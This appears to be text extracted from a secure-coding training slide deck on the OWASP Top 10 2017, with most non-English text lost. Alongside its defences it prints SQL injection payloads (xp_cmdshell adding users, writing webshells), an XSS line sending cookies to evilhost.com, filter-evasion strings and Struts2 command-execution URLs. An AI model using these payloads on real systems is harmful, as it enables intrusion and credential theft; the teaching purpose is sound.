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SSL

OWASP Top 10 2017 
:
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http://law.moj.gov.tw/LawCla
ss/LawParaDeatil.aspx?Pcod
e=C0000001&LCNOS=%203
58%20%20%20&LCC=2
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http://www.mtsc.com.tw/images/service/Network.gif
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https://www.ithome.com.tw/news/131476
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Network vs. Application

8

https://www.edgescan.com/assets/docs/reports/edgescan-stats-report-2018.pdf
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….
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:



Copyright of STI
10

https://www.theverge.com/2013/4/23/4257392/ap-twitter-hacked-claims-explosions-white-house-president-injured
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https://blog.trendmicro.com.tw/?p=60088
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HTTP Proxy

app
HTTP 
Request

HTTP 
Response

HTTP 
Request

HTTP 
Response

Web Server AP Server

3rd Party
…)
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: HTTP
: AP 

Session AP
AP
AP

– SSL 
– AP
– AP

?

13
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SSL is NOT enough

-
-
-
- -> SQL Injection, XSS..

Framework
- .NET, Java, 3rd party libraries

- backup test files
- source code files
- config files

- SSL config
- HTTP config
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External Systems are Insecure
Minimize Attack Surface Area
Secure Defaults
Least Privilege
Separation of Duties
Defense in Depth
Fail Securely
Do not trust Security through 
Obscurity
Simplicity

http://farm4.static.flickr.com/3009/2593535211_
943673c680_m.jpg

Saltzer, J. H., and Schroeder, M. D., “The Protection of Information in Computer System”, 

Fourth ACM Symposium on Operation Systems Principles, October 1974.
15
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OWASP

Open Web Application Security Project
Web

82
Web

:
– (FTC)

PCI
30 OWASP Top 10(

Web ) WebGoat( ) Enterprise 
Security API (ESAPI) OWASP Guide Project

https://www.owasp.org/index.php/Main_Page

17
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OWASP Top 10 2017

https://www.ithome.com.tw/news/118411
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?!
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https://zeroday.hitcon.org/vulnerability/search?page=10
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A1 - Injection
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Injection

SQL Injection
OS Command Injection
Code Injection
LDAP Injection
XPath Injection
….

21
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SQL Injection ( :1998 ~ :?)

SQL 
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SQL

23

•Bypass Authentication
•Error Based
•Union Based
•Update Based

•Blind
•Batch Queries
•Extended Procedure
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!

Bypass Authentication

Select
*

From
Account

Where
username=‘[ ]’
and
password=‘[ ]’

Select
*

From
Account

Where
username=‘abcde’
and
password=‘‘ or 1=1--’

:
‘ or ‘’=‘
‘ or 1=1--
‘ or 1=1/*
….Demo ….
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Error Based

: ASP + MS SQL
(?)

25
: “SQL Injection ( )– SQL ”
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+

Union Based

Demo ….
26

Select
id,user,message

From
board

Where
id= 8

Select
id,user,message

From
board

Where
id= 8

Union select 1,2,version()--
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Blind SQL Injection

Error Base “ ”

!!!

“Blind”

27
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Blind SQL Injection (cont.)

:

28

True

False
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Batch Queries

; 
(MS-SQL )

Select / Insert / Delete / Update / Drop ….
Stored Procedure 

:
id=1 ; drop table account;--
id=1 ; exec master..xp_cmdshell ‘net user 
Hacker Hacker /add’;--

…..

30
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(MS-SQL)
xp_cmdshell SQL Server 

xp_regXXXX registry 
xp_servicecontrol
xp_terminate_process

Process ID
xp_dirtree
xp_oaXXXX OLE 

Batch Queries (cont.)

MS-SQL ……!!

31
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SOP :

Input Validation

33

: Decode before validation !

: “ The Web Application Hackers Handbook”
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“ ”
10

: “
!”,  !

34

Input Validation (cont.)

https://encrypted-
tbn3.gstatic.com/images?q=tbn:ANd9GcQEGHeayURjCYe
VSTyF0QtLyThsr0JTE0NIbsyn_LP9WTSPTnovTQ

Minimize Attack Surface Area !!!

http://renjin.blogspot.tw/2008/05/sql-injection-attacks-by-example.html

SQL Injection :
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!
( )

….. 
– /*
– --
– or 1=1--
– or 2>1--
– ‘ or ‘’=‘
– and 1=1--
– and 1=2--
– ‘;declare @a int;--
– @@version>1
– 1/0
– order by 100
– ‘ union select col1,col2,… from table--
– ;exec master..xp_cmdshell ‘net user Hacker Hacker /add’;--
– ;exec master..xp_cmdshell 'echo WEBSHELL > path/a.asp‘--
– ;exec master..xp_regread 'HKEY_CURRENT_USER,Software\ORL\WinVNC3',Password;--
– …….
– ……. 35



Copyright of STI

!

Parameterized Queries

SQL SQL

SQL
–

36
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...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = "'" 

+ userName + "' AND itemname = '"  
+ ItemName.Text + "'";

sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

Bad ! SQL Injection !!

37

(cont.) 
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(cont.) 

(.NET – C#) :

string connString = 
WebConfigurationManager.ConnectionStrings["myConn"].ConnectionString;
using (SqlConnection conn = new SqlConnection(connString)) 

{ 
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT Count(*) FROM 

Products WHERE ProdID=@pid", conn); 
SqlParameter prm = new SqlParameter("@pid", SqlDbType.VarChar, 50);
prm.Value = Request.QueryString["pid"]; 
cmd.Parameters.Add(prm); 
int recCount = (int)cmd.ExecuteScalar();

}

38
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(Java) :

String custname = request.getParameter("customerName");
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname); 
ResultSet results = pstmt.executeQuery( );

(cont.)

39
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DB 

sa !

MS-SQL :
– sp_addextendedproc sp_addlogin sp_password

sp_addsrvrolemember xp_cmdshell
xp_availablemedia xp_dirtree xp_servicecontrol
xp_subdirs ……

40
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A2 - Broken Authentication
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Broken Authentication

42

/

Session ID 
–

XSS -> session cookie

https://image.freepik.com/free-vector/blurred-login-form-design_23-2147724175.jpg
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Authentication

– /
–
–
– ( )
–
– Hash

– ( SSL)
–

43
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(cont.)

–
– Re-authentication
– ID

– SSL 
– ( :by email)

– :  “ ??”
– Send a unique time-limited unguessable single-use 

recovery URL to user’s email provided during 
registration.

44



Copyright of STI

(cont.)

45
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(cont.)

Session Management
Session ID !

– cookie
cookie scope (domain & path)
HttpOnly flag
secure flag

– cookie
URL

Referer header / Browsing History
: ( replay)

46
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(cont.)

Logout( ) !
session 

session token

47

http://forums.asp.net/t/1755872.aspx?SessionID+not+getting+reset+after+Session+Abandon
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(cont.)

Logout( ) ! (cont.)
– Java Samples

Sample1:

Sample2:

http://stackoverflow.com/questions/4836106/how-to-reset-jsessionid
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(cont.)

Limit session lifetime 
– Java Samples

No concurrent logins !

49

Web.xml

Coding:
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A3 - Sensitive Data Exposure
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Sensitive Data Exposure

( IP Session 
ID….)

: Log / / APP
:

51
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SSL !

– Password Session ID

SSL !
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“ ” !

54

https://plainpass.com/
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?

55

https://plainpass.com/
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Password : 12345678

“ ”

56

Algorithm Value
Base64 MTIzNDU2Nzg=
DES (13 chars) aaNN3X.PL2piw

MD5 (32 chars) 25d55ad283aa400af464c76d713c07ad

SHA1 (40 chars) 7c222fb2927d828af22f592134e8932480637c0d

Salted MD5 $1$tsLFcOYh$5ibC1Ui2OPwUvyGUttUFI1

LanMan 0182BD0BD4444BF836077A718CCDF409

NTLM 259745CB123A52AA2E693AAACCA2DB52

Encoding ? Hash? Encryption?
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Encoding ( ) : Base64 HTML Encoding

Hash ( ) : MD5 SHA1

Encrypt ( ) : AES

57

(http://www.rsa.com/rsalabs/node.asp?id=2176)

f(data, key)

f(data)

f(data)
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“ ”

Hashed Password Cracking

58

7c222fb2927d8
28af22f592134e
8932480637c0d

Plaintext 000001Plaintext 000001’ hash

Plaintext 000002Plaintext 000002’ hash

Plaintext 999999Plaintext 999999’ hash

….….Match ?

Hashed Password

Rainbow Table
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Password Crackers
John the Ripper

http://www.openwall.com/john/
DES/MD5/Salted MD5/LM

John The Ripper MPI Patch
http://bindshell.net/tools/johntheripper
DES/MD5/Salted MD5/LM/NTLM/…

Cain & Abel
http://www.oxid.it/
LM/NTLM/MD5/SHA1/…

RainbowCrack
http://www.antsight.com/zsl/rainbowcrack/
MD5/SHA1/LM/NTLM/…

Google
Reverse MD5
Reverse SHA1

60
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Principles :

Hash
– & key size
– Hash

: LM MD5 SHA1

: MD5 twice, SHA-256

hash (salt)

1 : $1$tsLFcOYh$5ibC1Ui2OPwUvyGUttUFI1

2 : Hash(“secret”, “1lkjdo3opf”), Hash(“secret”, 
“mkdi2kan7”)

– Cipher
: DES Triple DES

: AES(AES-128, AES-192 and AES-256)
62
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Java Sample 

63
87 )
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(cont.)

For encryption keys
–

For configuration store
–

.NET : Aspnet_setreg.exe

–

64

https://support.microsoft.com/en-us/help/329290/how-to-use-the-asp.net-
utility-to-encrypt-credentials-and-session-stat
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A4 - XML External Entities(XXE)
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XML Basic

DTD

DTD

66

https://www.cnblogs.com/r00tuser/p/7255939.html

Note.dtd
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DTD (ENTITY) “ ”
“ ”

67

https://www.cnblogs.com/r00tuser/p/7255939.html
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XML External Entities(XXE)

XML External Entity
:

68

https://images2017.cnblogs.com/blog/1205477/201707/1205477-
20170729141612957-759004042.png

XML 
Parser
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Attack Samples

Sample1: 

69

https://www.cnblogs.com/r00tuser/p/7255939.html
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Sample2: 

70

https://www.cnblogs.com/r00tuser/p/7255939.html
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
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Sample3: 

71

https://en.wikipedia.org/wiki/Billion_laughs_attack

https://encrypted-
tbn0.gstatic.com/images?q=t
bn:ANd9GcTYIgdcIIh7r08siA
60C2RfWeporLJY7tYGJbpRl
O4XAXX_BEaW

“Billion laughs attack”
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XML Input
XML DTD ( / )

(protocol)

Web Services SOAP (<1.2 Vulnerable)

SSO SAML
– “The Security Assertion Markup Language (SAML), is an open 

standard that allows security credentials to be shared by multiple 
computers across a network.” (Reference:  
https://www.csoonline.com/article/3232355/authentication/what-is-saml-what-is-it-used-for-and-how-does-it-work.html)

72
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73https://threatpost.com/xxe-bug-patched-in-facebook-careers-third-party-service/110151/

2014.12
Facebook !
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https://www.ithome.com.tw/news/121655

2018.3
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https://www.ithome.com.tw/news/121985

2018.3
Microsoft !
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https://blog.trendmicro.com.tw/?p=60312

2019.4
Microsoft !
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Disable DTD
Parser :

– https://www.owasp.org/index.php/XML_External_Entity_(XXE)_P
revention_Cheat_Sheet

– .NET Sample:

DTD disable:
– External  DOCTYPE
– External ENTITY

XML Parser

– …
77
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A5 - Broken Access Control
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Broken Access Control

79

Weak Authorization
Missing Function Level Access
Insecure Direct Object Reference
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Weak Authorization

: 

:

80
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:
!

– http://www.test.com.tw/UserDataManagement/UserDataEdit
.aspx?access=read

– https://web_ip/index.php?id=john&is_admin=fales&menu=b
asic

Cookie Poisoning/Spoofing
– uid : 
– username : 
– admin : 0/1/Y/N
– permission : /

!

81
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No more such parameters !!!

– session

–
– session

83

https://cdn.shopify.com/s/files/1/1061/1924/products/Woman_Saying_No_Emoji_1024x1024.png?v=1480481049
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Missing Function Level Access

Web Server
AP

84
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!!!

85

(2007/11)
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“ ”
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Forceful Browsing

HTML URL

adduser/deluser showprofile/editprofile …

: .bak .old .tmp *~

: .inc .cfg .log .mdb .xls .sql

: .tar .zip .rar .tgz

87
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Google Hacking

88
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…

+
– …..
– ( ?) No SSL
–

No/Bad authorization

No Log

Demo …..

89
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:
URL

(@Web Server)

– !
– !!!!

90
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(cont.)

URL )

– ? ?
–

IP
Secure Default

– Role Based

( )

91
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Insecure Direct Object Reference

Web

http://www.xxx.com/showPage.aspx?page=main.aspx
:

–
–
– …

Demo ….

92
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http://www.mobile01.com/topicdetail.php?f=687&t=3722701&p=1
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:
( ) .

: index value or a reference map
http://www.example.com/application?file=1

: 1 “function_AddUser.aspx”
:

( Null byte)
– Decoded

– Java : java.io.File getCanonicalPath()
– ASP.NET : System.Io.Path.GetFullPath()

! 94
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….. ?

95http://blog.marketo.com/wp-content/uploads/2014/02/cross-the-line.jpg
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A6 - Security Misconfiguration
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Many Locations

-
-
-
- -> SQL Injection, XSS..

Framework
- .NET, Java, 3rd party libraries

- backup test files
- source code files
- config files

- SSL config
- HTTP config
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Web Server

HTTP Method

98

GET

POST ( )

CONNECT ( proxy)

HEAD Header

OPTIONS Method

TRACE

PUT

DELETE
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HEAD
– Banner grabbing by telnet
– Sending “HEAD / HTTP/1.0” to www.hinet.net port 80

99
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OPTIONS
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PUT DELETE

101

PUT /test.htm HTTP/1.1
Host: xxx.xxx.com.tw
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Connection: Keep-Alive
Content-type: text/html
Content-Length: 40

<html><body><h1>stipt</h1></body></html>

HTTP/1.1 201 Created
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30
Connection: Closed

<html>
<body>
<h1>The file was created.</h1>
</body>
</html>

DELETE /test.htm HTTP/1.1
Host: xxx.xxx.com.tw
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30
Connection: Closed

<html>
<body>
<h1>URL deleted.</h1>
</body>
</html>
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Directory Listing ( IIS UI Apache http.conf)

102
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Web Server 500 Status Code
HTTP Response: Status Code

– 200 - OK 
– 301 - Moved Permanently (Redirect)
– 302 - Moved Temporarily(Found)(Redirect)
– 304 - Not Modified (for Cache)
– 400 - Bad Request
– 401 - Unauthorized (Authorization Required)
– 403 - Forbidden
– 404 - Not Found
– 500 - Internal Server Error

103
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Framework
.NET web.config

Java web.xml

104

<error-page>
<exception-type>UnhandledException</exception-type> 
<location>GenericError.jsp</location> 

</error-page>

<error-page>
<error-code>500</error-code>
<location>err500.jsp</location>

</error-page>

<customErrors mode="On|Off|RemoteOnly" 
defaultRedirect="error.html">

<error statusCode="500" redirect="err500.aspx"/> 
<error statusCode="404" redirect="notHere.aspx"/> 
<error statusCode="403“ redirect="notAuthz.aspx"/>

</customErrors>

https://dotblogs.com.tw/joysdw12/2013/05/20/104561
https://msdn.microsoft.com/zh-tw/library/h0hfz6fc(v=vs.100).aspx

https://www.codejava.net/java-ee/servlet/how-to-handle-error-in-web-xml-for-java-web-applications
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.NET: 

( )
105
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HTTP Headers : ( Web Server / Coding)

106

https://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/
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Renegotiation

107

SSL
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http://technews.tw/2014/10/15/this-poodle-bites-exploiting-the-ssl-3-0-fallback/

CVE-2014-3566
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TLS v1.2
TLS v1.1 TLS v1.0 SSLv3 SSLv2

Hash
DES 3DES MD5 RC4

1024
Implementation( / )

http://blog.jobbole.com/80591/ (SSL/TLS v1.3)
https://www.ssllabs.com/projects/best-practices/

109

SSL
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“Secure Defaults”

OS / patch

(service ports)

SSL
Web Server

– “ ” ( : Tomcat Admin phpMyAdmin for MySQL PHP Info page …)
–
–
– Google (robots.txt)
– OS

“debugging modes”
– Log backdoor PW comment

110

https://pic.pimg.tw/applause29/1456553329-2587487144_n.jpg
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A7 - Cross-Site Scripting (XSS)
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XSS ( :1996 ~ :?)

~
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XSS : !
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….

<%
...
Response.Write “<div class=‘label’> </div><br />" 
Response.Write “ : " & Request.Form(“SearchKeyWord")
...

%>

114
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XSS (cont.)
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XSS : 
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:

117
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:

URL –
http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=
<script>alert(document.cookie)</script>&search_title=1

118
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http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=<script>loca
tion.replace(“http://www.evilhost.com/getcookie.asp?k=“+document.co
okie)</script>&search_title=1

http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=%3C%73%6
3%72%69%70%74%3E%6C%6F%63%61%74%69%6F%6E%2E%72
%65%70%6C%61%63%65%28%53%74%72%69%6E%67%2E%66%7
2%6F%6D%43%68%61%72%43%6F%64%65%28%31%30%34%2C
%31%31%36…( )&search_title=1

blog / _ \ …

119
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cookie

120



Copyright of STI

:

XSS
Browser
Office
Adobe
WinRAR
…..

121
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: ?

122

http://anti-hacker.blogspot.com/2009/08/sorry.html
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http://demo.testfire.net/search.jsp?query=<iframe src=http://www.iqiyi.com/w_19s2bdesvp.html height=600 
width=600>
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:
admin1234 !
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+ !

!
…….. ( )

set Reg = new RegExp
with Reg

.Pattern = "['”#:;()<>,=+ ]"

.Global = True
end with
test = Reg.Replace( Request.QueryString(“test”) , “” )

<<script>>… ?!
<scr<script>ipt> ….?!

125
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………. ~

126

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG 
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58
;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG 
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000
114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#000010
1&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&
#0000039&#0000041>
<IMG SRC="jav&#x09;ascript:alert('XSS');">

.......

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://gbhackers.com/top-500-important-xss-cheat-sheet/
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(cont.)

127

.NET 1.1 ….

: 

or in web.config :

<script>alert("hello!")</script>
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(cont.)

: Sanitization( )
“ ” !!!

– HTML-Encoding 

– URL-Encoding
: .NET : (System.Web) HttpUtility.UrlEncode()

128

ASP : Server.HTMLEncode(string)
Java :

PHP: 
Ensure output is passed through 
htmlentities() or htmlspecialchars()
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(cont.)

129
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(cont.)

Framework
– .NET

Microsoft Anti-XSS Library
(https://www.owasp.org/index.php/.NET_AntiXSS_Library)

System.Web.Security.AntiXss

: http://haacked.com/archive/2010/04/06/using-antixss-
as-the-default-encoder-for-asp-net.aspx/

– JAVA: 
DeXSS -- Java program for removing JavaScript from 
HTML (http://dexss.org)
How to Build an HTTP Request Validation Engine for Your 
J2EE Application
(http://www.owasp.org/index.php/How_to_Build_an_HTTP_Request_Validati
on_Engine_for_Your_J2EE_Application)

130
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(cont.)

– OWASP ESAPI
(Enterprise Security API)
(https://www.owasp.org/index.php/EASPI#tab=Home )

:
Java EE
.NET
Classic ASP
PHP
ColdFusion & CFML
Python
Haskell
:

https://www.owasp.org/index.php/EASPI#tab
=Downloads

XSS:
XSS (Cross Site Scripting) Prevention Cheat 
Sheet
https://www.owasp.org/index.php/XSS_(Cross
_Site_Scripting)_Prevention_Cheat_Sheet

131
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A8- Insecure Deserialization
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Serialization Basic

To “serialize” an object
to convert its state to a byte stream so that the byte 
stream can be reverted back(Deserialization) into a copy 
of the object.

133

https://docs.oracle.com/javase/tutorial/jndi/objects/serial.html

https://www.javatpoint.com/images/core/java-serialization.png

/ 
Cache File DB ….
RPC Web Services Message Brokers …..
HTTP Cookies Form Variables …..
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Insecure Deserialization

(deserialize)
byte stream

:

134

)

…

https://www.owasp.org/index.php/Deserialization_of_untrusted_data
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Sample: File UI Object

Sample: Authentication Token

135

https://cwe.mitre.org/data/definitions/502.html
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Attack Samples

Sample: Super Cookie for Access Control

136

( )

JAVA
http://www.digicentre.com.tw/industry_detail.php?id=37

Java return
byteStream error

Payload
Gadget Chain

Runtime.getRuntime().exec()
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2018.3

https://www.zdnet.com/article/cisco-update-now-to-fix-critical-hardcoded-password-bug-remote-code-execution-flaw/
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2018.4

https://www.zdnet.com/article/adobe-patches-critical-vulnerabilities-in-flash-indesign/
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https://www.ithome.com.tw/news/125353

2018.8
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[OWASP]: “The only safe architectural pattern is not to 
accept serialized objects from untrusted sources or to use 
serialization mediums that only permit primitive data 
types”.

JSON XML
( )

For Java:
– Use a safe replacement for the generic readObject() method .
– Use the “transient” keyword to denote nonserializable fields.
– Explicitly define a final object() to prevent deserialization.

Log
–
–

de-serialization
141

https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
https://www.owasp.org/index.php/Deserialization_Cheat_Sheet
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Tools

142

https://www.owasp.org/index.php/Deserialization_Cheat_Sheet
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Tools(cont.)
– Java secure deserialization library : “SerialKiller”

https://github.com/ikkisoft/SerialKiller

143
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A9 - Using Components with Known 
Vulnerabilities
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…
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https://www.ithome.com.tw/news/123721
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Case1: Struts

146

https://www.exploit-db.com/
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CVE-2013-2251: Remote Code Execution
Simple Expression - the parameter names are evaluated 
as OGNL.

– http://host/struts2-blank/example/X.action?action:%25{3*4}
– http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

Command Execution
– http://host/struts2-

blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.l
ang.String[]{'command','goes','here'})).start()}

– http://host/struts2-
showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(n
ew+java.lang.String[]{'command','goes','here'})).start()}

– http://host/struts2-
showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBu
ilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://struts.apache.org/docs/s2-016.html
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149https://www.rapid7.com/db/modules/exploit/multi/http/struts_dmi_exec

https://www.exploit-db.com/exploits/39756/
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…
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: [Veracode] “State of Software Security 2017”
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Case2: Spring

152
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Case3 : GNU C Library(Glibc)
http://www.ithome.com.tw/news/103938
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https://www.cvedetails.com/vendor/6538/Jquery.html
https://www.cvedetails.com/vulnerability-list/vendor_id-6538/opxss-1/Jquery.html

Case4: jQuery
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http://xss.cx/2013/07/12/report/dealsebaycom-xss-dom-jquery-location.hash-example-poc.html
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http://www.cvedetails.com/product/30361/Jqueryui-Jquery-Ui.html?vendor_id=14952
http://www.cvedetails.com/vulnerability-list/vendor_id-14952/product_id-30361/opxss-1/Jqueryui-Jquery-Ui.html

Case5: jQuery UI
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http://www.ithome.com.tw/news/112666
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https://www.veracode.com/sites/default/files/Resources/Reports/state-of-software-security-volume-7-veracode-report.pdf
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Exploit DB
CVE

release note

: Acunetix Metasploit ….

: Black Duck ….

159
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A10 – Insufficient Logging & 
Monitoring



Copyright of STI

Authorization
( ) 

161

Authentication
( )

Audit
( )
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Notification End User

( )

out-of-band
Email/

/

163
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Log Content

For Security
( ) /

( )
( ….)

/
……...
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Log 

( : )
/ Aggregation

Log 

165

Application
Log Server / SIEM

• Read-only
• Audit

Application

Application
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Log Monitoring

– SQL Injection ?
– XSS?
– ?
–
–
– ….

– ?
– / ?
–
– …..

http://imgs.iaweg.com/pic/3BpYzQwLm5pcGljLmNvbS8y
MDE0MDQxMi8yNTMxMTcwXzIxMjY1NDY0ODAwMF8y
LmpwZwloglog
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Incident Handling

Incident Handling

Type Target
User
Administrator
Stakeholders

IP
IP Range

Monitor / Disable

User Rights
User Account

Log Event Incident
aggregation correlation
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Others:
Cross-Site Request Forgery (CSRF)
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....

!

”
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/transfer.aspx?from=Alice&to=Bob&amt=$10000
Cookie: sessionid=40a4c04de

“Transfer Done !”

Alice Bank.com
/login.html

Cookie: sessionid=40a4c04de

/auth.aspx?id=Alice&pw=fmd9032

170
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Evil.org

(cont.) 

Alice Bank.com

/evil.html

<IMG SRC=http://bank.com/transfer.aspx
?from=Alice&to=Evil&amt=$10000 >

/transfer.aspx?from=Alice&to=Evil&amt=$10000
Cookie: sessionid=41d8u31op

/login.html

Cookie: sessionid=41d8u31op
/auth.aspx?id=Alice&pw=fmd9032

“Transfer Done !”
171
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CSRF

Workaround

– Double confirm
– Re-authenticate 
– Two-factor Authentication

– HTTP “Referer” !
– CAPTCHA &

: Completely Automated Public Test to tell 
Computers and Humans Apart

172
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Solution
“Custom Random Token”:

–
– :

random token
session data

5
–

!
URL

173

(cont.)
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(cont.)

Solution by Frameworks
.NET : ViewStateUserKey

– Starting with Visual Studio 2012
– http://software-security.sans.org/developer-how-to/developer-guide-csrf

Java : OWASP CSRF Guard
– https://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Proj

ect

174
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URL !!!
radio button check box select menu
hidden value

SQL XSS
( ?!)
( ?!)

( )

( ?!)
( !!!)

!!!!!!
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https://www.ettoday.net/news/20180919/1262050.htm

~
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https://hk.news.appledaily.com/local/realtime/article/20181030/58851244
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https://www.ithome.com.tw/news/128279
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“ ”….

182

https://tw.appledaily.com/new/realtime/20190311/1531225/
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: !

( )

!
Business Logic !
:

–
– Session ( )

183
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WebShell

Web Server
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“ ”
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https://www.jishuwen.com/d/2K6u/zh-tw
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IIS
– asp.dll :    asp asa cer cdx …
– ssinc.dll :  stm shtm shtml

.php / .jsp

.gif.php ( )
%2E%70%68%70 ( .php)
.pHp
.ccerer

/

NULL
– /image/xxx.aspx%00.jpg

188
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WebShell

Web Server• MIME-Type
•
•
•

•

Reader
• https://.....show.aspx?id=112233

IIS :
https://blog.miniasp.com/post/2010/08/04/IIS7-How-to-
Turn-off-Execute-Permission
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AP 

.. …. ......
Slow POST 

No CAPTCHA
Login

……

191

http://www.icondesignlab.com/uploads/portfolio/bi
g/3_Easy-QueryNET_Application-logo-for-Easy-
QueryNET.jpg
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AP Log/

Dump Memory?!

No Aggregation ( :for )

192

http://medya.zaman.com.tr/2012/02/11/bitlis.jpg
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http://www.merit-times.com.tw/NewsPage.aspx?Unid=506148
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: =

“ ”
“ ”
“ ” ?

195

…… !
”!

http://www.china1000.net/uploadfiles/2006-08/20060824_004034.jpg
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Secure Coding

Security
Requirements

Code
Review

Dynamic
Testing

Continuous
Defense 
& Monitoring

Security
Design

Security Risk Analysis

196

Confidentiality
Integrity
Availability
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https://software-security.sans.org/resources/swat
https://www.sans.org/security-resources/posters/securing-web-application-
technologies-swat/60/download

SANS
OWASP

https://www.owasp.org/index
.php/Category:OWASP_App
lication_Security_Verification
_Standard_Project
https://www.owasp.org/imag
es/5/58/OWASP_ASVS_Ver
sion_2.pdf

https://www.owasp.org/index.php/OWASP_Testi
ng_Project#tab=New_OWASP_Testing_Guide
https://www.owasp.org/images/1/19/OTGv4.pdf
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Test Cases 
(from )

Security Controls

Staging ( ) Baseline

( ) Staging ( )

Staging ( ) ( )

( ) ( )
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: /
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http://www.mtsc.com.tw/images/service/Network.gif
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& 
: HTTP Essentials - Stephen Thomas
: The Web Application Hackers Handbook - Dafydd

Stuttard Marcus Pinto
: Hacking the Code (ASP.NET Web ApplicationSecurity)

- Mark M. Burnett James C.Foster
: Secure Java – For Web Application Development -

Abhay Bhargav and B.V. Kumar
: Java -

-
“2011 CWE/SANS Top 25 Most Dangerous Programming Errors”

http://cwe.mitre.org/top25/index.html#Listing
https://www.sans.org/top25-software-errors

[Veracode] “State of Software Security 2017”
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